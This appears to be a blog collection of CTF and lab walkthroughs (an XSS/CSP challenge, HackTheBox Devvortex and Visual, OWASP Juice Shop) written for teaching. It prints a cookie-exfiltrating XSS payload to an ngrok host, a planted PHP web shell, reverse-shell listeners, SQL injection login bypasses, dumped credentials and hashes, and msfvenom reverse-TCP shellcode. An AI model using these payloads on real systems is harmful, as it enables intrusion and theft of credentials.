When we first open the challange we see this
when we click sign in it makes POST /signin and forwards us to /user/id
fromn the code, the profile parameter is transelated as html entity "profile": template.HTML(val[1]) and we can see that in case we gave it value like <script>alert()</script> and this won’t happen to the username as it’s treated as normal string
No alert Triggered cuz of the content security policy
but in /username/id There’s no content security policy and it renders the value stored in the username so when we visit this endpoint the alert will be triggered
Very Nice notes !!
Back to Home page and you will see submit to admin which accepts /user/:id and reports this page to the admin and the admin bot(crawler) will fetch this page.
The problem the there’s content security policy on /user/:id so there’s no xss triggered when the admin bot fetches this page.
After looking at the code we can find that the content security policy is "default-src 'self', script-src 'none' which means that the resources which can loaded are from the same origin, so the profile parameter if we try using html entity that visits malicious this won’t work cuz the site must be in the same origin.
The idea here is making The html entity in the profile visits /username/:id which doesn’t have any csp applied and the xss payload existing in the username can be triggered.
So we can put XSS payload to steal cookie in the username field and in the profile field we put HTML entity that makes the crawler fetch /username/:id and triggers the XSS
After trying we will find these parameters will work
Username: <script>var i=new Image(); i.src="http://ngroc_ip:ngroc_port/?cookie="+btoa(document.cookie);</script>
Profile: <iframe src="/username/:id"></iframe>
we will start ngroc using ngroc tcp 4444
then listen on port 4444
after reporting we will find this the cookie on the port 4444
Congratzzzzzzzzzz
-
Web: Bad_Worker (beginner)
Description
We created a web application that works offline.
Flag Format: FLAG{…}
Solution
When we first open the challange we see this
After movement within the site, I found nothing interesting.
Then i went to examine the JS files within the site.
I found a file named service-worker.js with the content
// Caution! Be sure you understand the caveats before publishing an application with
// offline support. See https://aka.ms/blazor-offline-considerations
self.importScripts('./service-worker-assets.js');
self.addEventListener('install', event => event.waitUntil(onInstall(event)));
self.addEventListener('activate', event => event.waitUntil(onActivate(event)));
self.addEventListener('fetch', event => event.respondWith(onFetch(event)));
const cacheNamePrefix = 'offline-cache-';
const cacheName = `${cacheNamePrefix}${self.assetsManifest.version}`;
const offlineAssetsInclude = [ /\.dll$/, /\.pdb$/, /\.wasm/, /\.html/, /\.js$/, /\.json$/, /\.css$/, /\.woff$/, /\.png$/, /\.jpe?g$/, /\.gif$/, /\.ico$/, /\.blat$/, /\.dat$/ ];
const offlineAssetsExclude = [ /^service-worker\.js$/ ];
async function onInstall(event) {
//console.info('Service worker: Install');
// Fetch and cache all matching items from the assets manifest
const assetsRequests = self.assetsManifest.assets
.filter(asset => offlineAssetsInclude.some(pattern => pattern.test(asset.url)))
.filter(asset => !offlineAssetsExclude.some(pattern => pattern.test(asset.url)))
.map(asset => new Request(asset.url, { integrity: asset.hash, cache: 'no-cache' }));
await caches.open(cacheName).then(cache => cache.addAll(assetsRequests));
event.waitUntil(self.skipWaiting()); // すぐにactivateにする
}
async function onActivate(event) {
// Delete unused caches
const cacheKeys = await caches.keys();
await Promise.all(cacheKeys
.filter(key => key.startsWith(cacheNamePrefix) && key !== cacheName)
.map(key => caches.delete(key)));
event.waitUntil(self.clients.claim()); // すぐにserviceWorkerを有効にする
}
async function onFetch(event) {
let cachedResponse = null;
if (event.request.method === 'GET') {
const shouldServeIndexHtml = event.request.mode === 'navigate';
let request = event.request;
if (request.url.toString().includes("FLAG.txt")) {
request = "DUMMY.txt";
}
if (shouldServeIndexHtml) {
request = "index.html"
}
return fetch(request);
}
return cachedResponse || fetch(event.request);
}
/* Manifest version: Rq/NTVa4 */
So We need to send a GET request to /FLAG.txt endpoint and we will get the flag
Congratzzzzzzzzzzzzzzz
-
-
Devvortex
Description
Solution
Recon
Applying nmap scan
┌──(youssif㉿youssif)-[~/Desktop/HTBMachines/devvortex]
└─$ nmap -sV -sC -Pn -oA devvortex 10.10.11.242
Nmap scan report for 10.10.11.242
Host is up (0.22s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
| 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_ 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://devvortex.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
we see that there’s a web service on port 80 and there’s a domain devvortex.htb should be submitted in /etc/hosts file
when we add the domain to /etc/hosts we can visit the site now
After examining the site you won’t find any interesting thing so let’s do more reconnaisance.
┌──(youssif㉿youssif)-[~/Desktop/HTBMachines/devvortex]
└─$ gobuster dir -u http://10.10.11.242/ -w ~/Desktop/tools/SecLists/Discovery/Web-Content/raft-small-directories.txt -b 302
but I got no useful results, so let’s try subdomain enumeration
┌──(youssif㉿youssif)-[~/Desktop/HTBMachines/devvortex]
└─$ ffuf -u http://10.10.11.242 -H "Host: FUZZ.devvortex.htb" -w ~/Desktop/tools/SecLists/Discovery/DNS/subdomains-top1million-20000.txt -ac
dev [Status: 200, Size: 23221, Words: 5081, Lines: 502, Duration: 153ms]
shell as www-data
We found a subdomain here which is dev.devvortex.htb. let’s add it to /etc/hosts file and visit the subdomain.
After examining the site you won’t find any interesting thing also so let’s do more reconnaisance.
I found interesting endpoints in /robots.txt endpoint.
when you visit /administrator endpoint you will find login page powered by joomla cms.
You can find tips for joomla pentesting here.
you will find in the link above that /administrator/manifests/files/joomla.xml endpoint let’s you know the version of joomla.
We see that the version is v4.2.6 which we can find that it’s vulnerable to CVE-2023-23752.
You can find many articles about the cve here as example and from them i appended /api/index.php/v1/config/application?public=true to the url and got this
Nice we got credentials lewis:P4ntherg0t1n5r3c0n## which will be used to login to joomla dashboard.
continue reading in this and you will find what you should do next.
You should go to system and you will find many templates i choosed Administrator Templates and find many files.
I opened index.php and added this line system($_GET['cmd']); so when i visit this http://dev.devvortex.htb/administrator/index.php?cmd=whoami I see www-data which is the result of whoami command in the beginning of the site
Nice we have RCE let’s get a shell.
setting up a listerner at port 4444
┌──(youssif㉿youssif)-[~]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
and i went to revshells for the reverse shell payload.
You can use many php shells as the payload will be inserted in php code (I used pentest monkey php shell) added it to index.php file in the admin templates and i got the shell as www-data
shell as logan
stablize the shell using python3 -c "import pty;pty.spawn('/bin/bash)"
If you remember the article of the CVE we used, The credentials are usually for MYSQL db and when we use the command ss -tulpn we find that port 3306 is used which is the default for MYSQL.
Let’s access MYSQL db
www-data@devvortex:/$ mysql -u lewis -p
mysql -u lewis -p
Enter password: P4ntherg0t1n5r3c0n##
We accessed the db successfully and after digging into it we found sd4fg_users table in joomla database
mysql> select username,password from sd4fg_users;
select username,password from sd4fg_users;
+----------+--------------------------------------------------------------+
| username | password |
+----------+--------------------------------------------------------------+
| lewis | $2y$10$6V52x.SD8Xc7hNlVwUTrI.ax4BIAYuhVBMVvnYWRceBmy8XdEzm1u |
| logan | $2y$10$IT4k5kmSGvHSO9d6M/1w0eYiB5Ne9XzArQRFJTGThNiy/yBtkIj12 |
+----------+--------------------------------------------------------------+
2 rows in set (0.00 sec)
we have two users with two hashed passwords i tried to crack them but only the password of the user logan is cracked successfully.
┌──(youssif㉿youssif)-[~/Desktop/HTBMachines/devvortex]
└─$ john hash --show
?:t************
1 password hash cracked, 0 left
I used this password in ssh ssh logan@10.10.11.242
and congrats u are logan now
logan@devvortex:~$ ls
user.txt
logan@devvortex:~$ cat user.txt
1*******************************
shell as root
logan@devvortex:~$ sudo -l
[sudo] password for logan:
Matching Defaults entries for logan on devvortex:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User logan may run the following commands on devvortex:
(ALL : ALL) /usr/bin/apport-cli
We find that there’s a command you can execute using sudo
I found that this command is vulnerable to privesc here.
Briefly you will walkthrough the choices until you get view report which will be opened in a less page as root so you can execute !/bin/bash as root and now you are root.
root@devvortex:/home/logan# cd /root
root@devvortex:~# cat root.txt
b*******************************
I wish the walkthrough helped you ^^
-
Owasp Juice Shop
Getting started
OWASP Juice Shop is probably the most modern and sophisticated insecure web application! It can be used in security trainings, awareness demos, CTFs and as a guinea pig for security tools! Juice Shop encompasses vulnerabilities from the entire OWASP Top Ten along with many other security flaws found in real-world applications!
You can solve it here.
★ Finding Score board
When you start the challange you will get alerts from the site telling you that you need to find the score board to start. You can consider it as the first challange, so let’s go.
When we look at the source code carefully we will find JS files but main.js seems to be more interesting.
I opened it and sent it to JS Beautifier to make it more organized.
I searched using the keyword score and found this.
The endpoint is /score-board congratzzzzz
The coding challange
You will see that the score-board endpoint is disclosed in the line number 114
We can’t remove it because it will break the functionality of the site
★ DOM XSS
Perform a DOM XSS attack with <iframe src="javascript:alert(`xss`)">.
After examining the site you will find an input to search functionality.
I tried to put things like <h1> and it’s rendered successfully so let’s try our payload.
Congratzzzzzz
The coding challange
filterTable () {
let queryParam: string = this.route.snapshot.queryParams.q
if (queryParam) {
queryParam = queryParam.trim()
this.dataSource.filter = queryParam.toLowerCase()
this.searchValue = this.sanitizer.bypassSecurityTrustHtml(queryParam)
this.gridDataSource.subscribe((result: any) => {
if (result.length === 0) {
this.emptyState = true
} else {
this.emptyState = false
}
})
} else {
this.dataSource.filter = ''
this.searchValue = undefined
this.emptyState = false
}
}
The problem is in this line this.searchValue = this.sanitizer.bypassSecurityTrustHtml(queryParam)
Fixing: make it this.searchValue = queryParam because when you use bypassSecurityTrustHtml you must ensure that the HTML content does not come from untrusted sources or user inputs without proper sanitization.
★ Bully Chatbot
Receive a coupon code from the support chatbot.
Consider this challange as a break xD.
attacking the chat bot maybe done by many ideas but in this the easiest one is the solution.
You just need to repeat the question and Congratzzzz XD.
★ Error Handling
Provoke an error that is neither very gracefully nor consistently handled.
During site traversing I noticed there’s and api request to /rest/user/whoami and it returns data about the user like this
{"user":{"id":22,"email":"y@g.c","lastLoginIp":"0.0.0.0","profileImage":"/assets/public/images/uploads/default.svg"}}
so i think it executes the whoami command so let’s try something like ls /rest/user/ls it gives status code 500 and the response is
{
"error": {
"message": "Unexpected path: /rest/user/ls",
"stack": "Error: Unexpected path: /rest/user/ls\n at E:\\careeeeeeeer\\Career\\for CTFs\\Web pentesting\\Orange Juice node 20\\juice-shop_16.0.1\\build\\routes\\angular.js:38:18\n at Layer.handle [as handle_request] (E:\\careeeeeeeer\\Career\\for CTFs\\Web pentesting\\Orange Juice node 20\\juice-shop_16.0.1\\node_modules\\express\\lib\\router\\layer.js:95:5)\n at trim_prefix (E:\\careeeeeeeer\\Career\\for CTFs\\Web pentesting\\Orange Juice node 20\\juice-shop_16.0.1\\node_modules\\express\\lib\\router\\index.js:328:13)\n at E:\\careeeeeeeer\\Career\\for CTFs\\Web pentesting\\Orange Juice node 20\\juice-shop_16.0.1\\node_modules\\express\\lib\\router\\index.js:286:9\n at Function.process_params (E:\\careeeeeeeer\\Career\\for CTFs\\Web pentesting\\Orange Juice node 20\\juice-shop_16.0.1\\node_modules\\express\\lib\\router\\index.js:346:12)\n at next (E:\\careeeeeeeer\\Career\\for CTFs\\Web pentesting\\Orange Juice node 20\\juice-shop_16.0.1\\node_modules\\express\\lib\\router\\index.js:280:10)\n at E:\\careeeeeeeer\\Career\\for CTFs\\Web pentesting\\Orange Juice node 20\\juice-shop_16.0.1\\build\\routes\\verify.js:168:5\n at Layer.handle [as handle_request] (E:\\careeeeeeeer\\Career\\for CTFs\\Web pentesting\\Orange Juice node 20\\juice-shop_16.0.1\\node_modules\\express\\lib\\router\\layer.js:95:5)\n at trim_prefix (E:\\careeeeeeeer\\Career\\for CTFs\\Web pentesting\\Orange Juice node 20\\juice-shop_16.0.1\\node_modules\\express\\lib\\router\\index.js:328:13)\n at E:\\careeeeeeeer\\Career\\for CTFs\\Web pentesting\\Orange Juice node 20\\juice-shop_16.0.1\\node_modules\\express\\lib\\router\\index.js:286:9\n at Function.process_params (E:\\careeeeeeeer\\Career\\for CTFs\\Web pentesting\\Orange Juice node 20\\juice-shop_16.0.1\\node_modules\\express\\lib\\router\\index.js:346:12)\n at next (E:\\careeeeeeeer\\Career\\for CTFs\\Web pentesting\\Orange Juice node 20\\juice-shop_16.0.1\\node_modules\\express\\lib\\router\\index.js:280:10)\n at E:\\careeeeeeeer\\Career\\for CTFs\\Web pentesting\\Orange Juice node 20\\juice-shop_16.0.1\\build\\routes\\verify.js:105:5\n at Layer.handle [as handle_request] (E:\\careeeeeeeer\\Career\\for CTFs\\Web pentesting\\Orange Juice node 20\\juice-shop_16.0.1\\node_modules\\express\\lib\\router\\layer.js:95:5)\n at trim_prefix (E:\\careeeeeeeer\\Career\\for CTFs\\Web pentesting\\Orange Juice node 20\\juice-shop_16.0.1\\node_modules\\express\\lib\\router\\index.js:328:13)\n at E:\\careeeeeeeer\\Career\\for CTFs\\Web pentesting\\Orange Juice node 20\\juice-shop_16.0.1\\node_modules\\express\\lib\\router\\index.js:286:9\n at Function.process_params (E:\\careeeeeeeer\\Career\\for CTFs\\Web pentesting\\Orange Juice node 20\\juice-shop_16.0.1\\node_modules\\express\\lib\\router\\index.js:346:12)\n at next (E:\\careeeeeeeer\\Career\\for CTFs\\Web pentesting\\Orange Juice node 20\\juice-shop_16.0.1\\node_modules\\express\\lib\\router\\index.js:280:10)\n at logger (E:\\careeeeeeeer\\Career\\for CTFs\\Web pentesting\\Orange Juice node 20\\juice-shop_16.0.1\\node_modules\\morgan\\index.js:144:5)\n at Layer.handle [as handle_request] (E:\\careeeeeeeer\\Career\\for CTFs\\Web pentesting\\Orange Juice node 20\\juice-shop_16.0.1\\node_modules\\express\\lib\\router\\layer.js:95:5)\n at trim_prefix (E:\\careeeeeeeer\\Career\\for CTFs\\Web pentesting\\Orange Juice node 20\\juice-shop_16.0.1\\node_modules\\express\\lib\\router\\index.js:328:13)\n at E:\\careeeeeeeer\\Career\\for CTFs\\Web pentesting\\Orange Juice node 20\\juice-shop_16.0.1\\node_modules\\express\\lib\\router\\index.js:286:9"
}
}
I think there are many other ways to solve this challange
congratzzzz anyway xD
★★ Login Admin
Log in with the administrator’s user account.
It’s a very simple sqli as when i login using 'or 1=1 --:anypasswd i login as admin.
Notice that we got admin account by luck as there maybe many users in the database why we got the admin then?? This because the admin was the first user in the table xDDDD.
Congratzzzzz
★★ Password Strength
Log in with the administrator’s user credentials without previously changing them or applying SQL Injection.
The admin’s login data
{"authentication":{"token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MSwidXNlcm5hbWUiOiIiLCJlbWFpbCI6ImFkbWluQGp1aWNlLXNoLm9wIiwicGFzc3dvcmQiOiIwMTkyMDIzYTdiYmQ3MzI1MDUxNmYwNjlkZjE4YjUwMCIsInJvbGUiOiJhZG1pbiIsImRlbHV4ZVRva2VuIjoiIiwibGFzdExvZ2luSXAiOiIiLCJwcm9maWxlSW1hZ2UiOiJhc3NldHMvcHVibGljL2ltYWdlcy91cGxvYWRzL2RlZmF1bHRBZG1pbi5wbmciLCJ0b3RwU2VjcmV0IjoiIiwiaXNBY3RpdmUiOnRydWUsImNyZWF0ZWRBdCI6IjIwMjQtMDYtMTkgMTM6MjU6MTQuMTEyICswMDowMCIsInVwZGF0ZWRBdCI6IjIwMjQtMDYtMTkgMTM6MjU6MTQuMTEyICswMDowMCIsImRlbGV0ZWRBdCI6bnVsbH0sImlhdCI6MTcxODgwMzkzOH0.TbMVfjrOP5ZP8yd44tKZkud1k_y82DKoLnnHpmIF8x3CBRm2oDS7JqjcO-kt_fJlAoD60JCsGDLa5xoESMRCs4WhlV20nVpdwQa5-VHj2gcULe4HNvdhRuYxV19jHtqLtIaEsTSOAoS5cwxRFmdSpFkpTElhGcxKJsp19ivbm8Y","bid":1,"umail":"admin@juice-sh.op"}}
The payload of the JWT
{
"status": "success",
"data": {
"id": 1,
"username": "",
"email": "admin@juice-sh.op",
"password": "0192023a7bbd73250516f069df18b500",
"role": "admin",
"deluxeToken": "",
"lastLoginIp": "",
"profileImage": "assets/public/images/uploads/defaultAdmin.png",
"totpSecret": "",
"isActive": true,
"createdAt": "2024-06-19 13:25:14.112 +00:00",
"updatedAt": "2024-06-19 13:25:14.112 +00:00",
"deletedAt": null
},
"iat": 1718803938
}
so The admin’s email : admin@juice-sh.op
The password hash (MD5) : 0192023a7bbd73250516f069df18b500
The password after cracking : admin123
so we can login as admin using these creds
{"email":"admin@juice-sh.op","password":"admin123"}
The coding challange
The code
User.init(
password: {
type: DataTypes.STRING,
set (clearTextPassword) {
this.setDataValue('password', security.hash(clearTextPassword))
}
},
The problem is applying the hash directly without any validation of the strength of the password
Fixing is done be adding:
set (clearTextPassword) {
validatePasswordHasAtLeastTenChar(clearTextPassword)
validatePasswordIsNotInTopOneMillionCommonPasswordsList(clearTextPassword)
this.setDataValue('password', security.hash(clearTextPassword))
}
before this.setDataValue('password', security.hash(clearTextPassword))
Reason : According to NIST-800-63B, passwords (Memorized Secrets) should have at least eight characters to prevent ‘online attacks’. Furthermore, NIST-800-63B requires that passwords don’t appear in common dictionaries.
Congratzzzzz
★★ view basket
View another user’s shopping basket.
When i visit my basket i note that there’s an API request to /rest/basket/6
When i change it to /rest/basket/1 i see the basket of the user whose id = 1 (no validation exists)
★★ Five-Star Feedback
Get rid of all 5-star customer feedback.
When i view feedbacks i can visit this api GET /api/Feedbacks/
Make the request to be OPTIONS then you find that you can use DELETE method
DELETE /api/Feedbacks/
will give error that the path is invalid so i added the id in the request like this DELETE /api/Feedbacks/1
1 is the id of the feedback i want to delete and i made this request for the feedbacks of 5 Stars
Note: i don’t know if there’s a way to delete based on the rating not the id
★★★ Login Jim & Login Bender
I managed to login to any account in the site like i did to the admin with small modification
{"email":"' or 1=1 LIMIT 1,1 --","password":""}
LIMIT 1,1 The first 1 is an index and the second 1 is number of rows retrieved
so i can change the first 1 to any number and i can login to any account
Jim was 1 and Bender was 2
Congratzzzzz
★★★ Manipulate Basket
Put an additional product into another user’s shopping basket.
we said we can view any basket through GET /rest/basket/1
and when we add element to basket the req is to POST /api/BasketItems/
and the data is
{"ProductId":1,"BasketId":"6","quantity":1}
when i try to change the basket id i get 401 unauthorized status code and {'error' : 'Invalid BasketId'}
so i made the req method to be OPTIONS and i found PUT method
when i try PUT /api/BasketItems/ i get error
{
"error": {
"message": "Unexpected path: /api/BasketItems/",
"stack": "Error: Unexpected path: /api/BasketItems/\n at E:\\careeeeeeeer\\Career\\for CTFs\\Web pentesting\\Orange Juice node 20\\juice-shop_16.0.1\\build\\routes\\angular.js:38:18\n at Layer.handle [as handle_request] (E:\\careeeeeeeer\\Career\\for CTFs\\Web pentesting\\Orange Juice node 20\\juice-shop_16.0.1\\node_modules\\express\\lib\\router\\layer.js:95:5)\n at trim_prefix (E:\\careeeeeeeer\\Career\\for CTFs\\Web pentesting\\Orange Juice node 20\\juice-shop_16.0.1\\node_modules\\express\\lib\\router\\index.js:328:13)\n at E:\\careeeeeeeer\\Career\\for CTFs\\Web pentesting\\Orange Juice node 20\\juice-shop_16.0.1\\node_modules\\express\\lib\\router\\index.js:286:9\n at Function.process_params (E:\\careeeeeeeer\\Career\\for CTFs\\Web pentesting\\Orange Juice node 20\\juice-shop_16.0.1\\node_modules\\express\\lib\\router\\index.js:346:12)\n at next (E:\\careeeeeeeer\\Career\\for CTFs\\Web pentesting\\Orange Juice node 20\\juice-shop_16.0.1\\node_modules\\express\\lib\\router\\index.js:280:10)\n at E:\\careeeeeeeer\\Career\\for CTFs\\Web pentesting\\Orange Juice node 20\\juice-shop_16.0.1\\build\\routes\\verify.js:168:5\n at Layer.handle [as handle_request] (E:\\careeeeeeeer\\Career\\for CTFs\\Web pentesting\\Orange Juice node 20\\juice-shop_16.0.1\\node_modules\\express\\lib\\router\\layer.js:95:5)\n at trim_prefix (E:\\careeeeeeeer\\Career\\for CTFs\\Web pentesting\\Orange Juice node 20\\juice-shop_16.0.1\\node_modules\\express\\lib\\router\\index.js:328:13)\n at E:\\careeeeeeeer\\Career\\for CTFs\\Web pentesting\\Orange Juice node 20\\juice-shop_16.0.1\\node_modules\\express\\lib\\router\\index.js:286:9\n at Function.process_params (E:\\careeeeeeeer\\Career\\for CTFs\\Web pentesting\\Orange Juice node 20\\juice-shop_16.0.1\\node_modules\\express\\lib\\router\\index.js:346:12)\n at next (E:\\careeeeeeeer\\Career\\for CTFs\\Web pentesting\\Orange Juice node 20\\juice-shop_16.0.1\\node_modules\\express\\lib\\router\\index.js:280:10)\n at E:\\careeeeeeeer\\Career\\for CTFs\\Web pentesting\\Orange Juice node 20\\juice-shop_16.0.1\\node_modules\\express-jwt\\lib\\index.js:44:7\n at module.exports.verify (E:\\careeeeeeeer\\Career\\for CTFs\\Web pentesting\\Orange Juice node 20\\juice-shop_16.0.1\\node_modules\\express-jwt\\node_modules\\jsonwebtoken\\index.js:59:3)\n at E:\\careeeeeeeer\\Career\\for CTFs\\Web pentesting\\Orange Juice node 20\\juice-shop_16.0.1\\node_modules\\express-jwt\\lib\\index.js:40:9\n at Layer.handle [as handle_request] (E:\\careeeeeeeer\\Career\\for CTFs\\Web pentesting\\Orange Juice node 20\\juice-shop_16.0.1\\node_modules\\express\\lib\\router\\layer.js:95:5)\n at trim_prefix (E:\\careeeeeeeer\\Career\\for CTFs\\Web pentesting\\Orange Juice node 20\\juice-shop_16.0.1\\node_modules\\express\\lib\\router\\index.js:328:13)\n at E:\\careeeeeeeer\\Career\\for CTFs\\Web pentesting\\Orange Juice node 20\\juice-shop_16.0.1\\node_modules\\express\\lib\\router\\index.js:286:9\n at Function.process_params (E:\\careeeeeeeer\\Career\\for CTFs\\Web pentesting\\Orange Juice node 20\\juice-shop_16.0.1\\node_modules\\express\\lib\\router\\index.js:346:12)\n at next (E:\\careeeeeeeer\\Career\\for CTFs\\Web pentesting\\Orange Juice node 20\\juice-shop_16.0.1\\node_modules\\express\\lib\\router\\index.js:280:10)\n at E:\\careeeeeeeer\\Career\\for CTFs\\Web pentesting\\Orange Juice node 20\\juice-shop_16.0.1\\build\\routes\\verify.js:105:5\n at Layer.handle [as handle_request] (E:\\careeeeeeeer\\Career\\for CTFs\\Web pentesting\\Orange Juice node 20\\juice-shop_16.0.1\\node_modules\\express\\lib\\router\\layer.js:95:5)"
}
}
the path is wrong so it may need the id at the end of the url
so i made it PUT /api/BasketItems/2 with the json data
{"ProductId":1,"BasketId":"2","quantity":1}
and i got 400 status code bad request and this
{"message":"null: `BasketId` cannot be updated due `noUpdate` constraint","errors":[{"field":"BasketId","message":"`BasketId` cannot be updated due `noUpdate` constraint"}]}
so i removed the BasketId from the json and got the same error for ProductId so i removed it also
then i got this response
{"status":"success","data":{"ProductId":2,"BasketId":1,"id":2,"quantity":1,"createdAt":"2024-06-19T13:26:15.289Z","updatedAt":"2024-06-19T18:48:08.760Z"}}
and when you view the BasketId:1 using GET /rest/basket/1 you will notice that the item is added.
Congratzzzzzzzzzzz
-
-
-
-
Visual
Description
Solution
Recon
┌──(youssif㉿youssif)-[~/Desktop/HTBMachines/visual]
└─$ nmap -sV -sC -Pn -oA nmap/visual 10.10.11.234
# Nmap 7.92 scan initiated Sat Sep 30 21:32:35 2023 as: nmap -sV -sC -Pn -oA visual 10.10.11.234
Nmap scan report for 10.10.11.234
Host is up (0.18s latency).
Not shown: 999 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.56 ((Win64) OpenSSL/1.1.1t PHP/8.1.17)
|_http-title: Visual - Revolutionizing Visual Studio Builds
|_http-server-header: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.1.17
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Sep 30 21:33:23 2023 -- 1 IP address (1 host up) scanned in 48.53 seconds
shell as enox
When we open the site http://10.10.11.234 we get this
As said the site can accept a repo of dotnet6 and it will trust the project we sent, execute it and send the DLL back as example
first i wanted to test it using a random C# project repo but note that we can’t submit the url of the repo directly and this because the lan at which the HTB machine exists isn’t connected to Internet so we need to submit this repo over the lan.
After searching i found this article about how to serve a repo over http.
I created a simple C# project that prints hello world xDDD and uploaded this repo on github. Its path is https://github.com/YoussifSeliem/visualHTB then i cloned this repo into my machine git clone https://github.com/YoussifSeliem/visualHTB
Then let’s start as in article
┌──(youssif㉿youssif)-[~/Desktop/HTBMachines/visual/tst]
└─$ git --bare clone visualHTB repo-http
cd repo-http/.git
git --bare update-server-info
mv hooks/post-update.sample hooks/post-update
cd ..
python -m http.server 8000
Then I submitted the repo into the site by submitting this link http://10.10.16.81:8000/.git/, then i got this
Now we need to move forward in this machine and we can make use of the way the project is handled by the site as it’s got trusted and executed.
After searching i found many useful articles like MSBuild & evilSLN.
I used MSBuild exploit, it makes use of the fact that visual studio uses MSBuild.
Briefly, we can say that MSBuild is an engine that provides an XML schema for a project file that controls how the build platform processes and builds software.
In our case the .csprog file contains MSBuild XML code.
I moved as in the article and created the shell code using
┌──(youssif㉿youssif)-[~/Desktop/HTBMachines/visual]
└─$ msfvenom -p windows/shell/reverse_tcp lhost=10.10.16.81 lport=4444 -f csharp
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of csharp file: 1825 bytes
byte[] buf = new byte[354] {
0xfc,0xe8,0x8f,0x00,0x00,0x00,0x60,0x31,0xd2,0x89,0xe5,0x64,0x8b,0x52,0x30,
0x8b,0x52,0x0c,0x8b,0x52,0x14,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x8b,0x72,0x28,
0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0x49,
0x75,0xef,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,
0x85,0xc0,0x74,0x4c,0x01,0xd0,0x8b,0x58,0x20,0x01,0xd3,0x50,0x8b,0x48,0x18,
0x85,0xc9,0x74,0x3c,0x31,0xff,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xc0,0xc1,
0xcf,0x0d,0xac,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,
0x75,0xe0,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,
0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,
0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xe9,0x80,0xff,0xff,0xff,0x5d,
0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,
0x07,0x89,0xe8,0xff,0xd0,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,
0x29,0x80,0x6b,0x00,0xff,0xd5,0x6a,0x0a,0x68,0x0a,0x0a,0x10,0x51,0x68,0x02,
0x00,0x11,0x5c,0x89,0xe6,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,
0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,
0xff,0xd5,0x85,0xc0,0x74,0x0a,0xff,0x4e,0x08,0x75,0xec,0xe8,0x67,0x00,0x00,
0x00,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,
0xf8,0x00,0x7e,0x36,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,
0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,
0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7d,0x28,0x58,0x68,0x00,
0x40,0x00,0x00,0x6a,0x00,0x50,0x68,0x0b,0x2f,0x0f,0x30,0xff,0xd5,0x57,0x68,
0x75,0x6e,0x4d,0x61,0xff,0xd5,0x5e,0x5e,0xff,0x0c,0x24,0x0f,0x85,0x70,0xff,
0xff,0xff,0xe9,0x9b,0xff,0xff,0xff,0x01,0xc3,0x29,0xc6,0x75,0xc1,0xc3,0xbb,
0xf0,0xb5,0xa2,0x56,0x6a,0x00,0x53,0xff,0xd5 };
I made the payload shell rather than meterpreter because in this machine the AntiVirus detected the meterpreter and closed the connection.
Add the generated shell code to the .csproj file as shown in the article and this is our modified repo we will submit it again to the site.
don’t forget to set up a listener in msfconsole
use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/shell/reverse_tcp
msf exploit(multi/handler) > set lhost 10.10.16.81
msf exploit(multi/handler) > set lport 4444
msf exploit(multi/handler) > exploit
Then you will get the connection
C:\Windows\Temp\591812c6a390d3b1c93cef7b9d4df5\ConsoleApp1>whoami
whoami
visual\enox
I found on the system there is only enox user then i went to its Desktop to get the user flag
C:\Users\enox\Desktop>dir
dir
Volume in drive C has no label.
Volume Serial Number is 82EF-5600
Directory of C:\Users\enox\Desktop
06/10/2023 12:10 PM <DIR> .
06/10/2023 12:10 PM <DIR> ..
02/23/2024 03:07 AM 34 user.txt
1 File(s) 34 bytes
2 Dir(s) 9,479,344,128 bytes free
C:\Users\enox\Desktop>type user.txt
type user.txt
7******************************
shell as local service
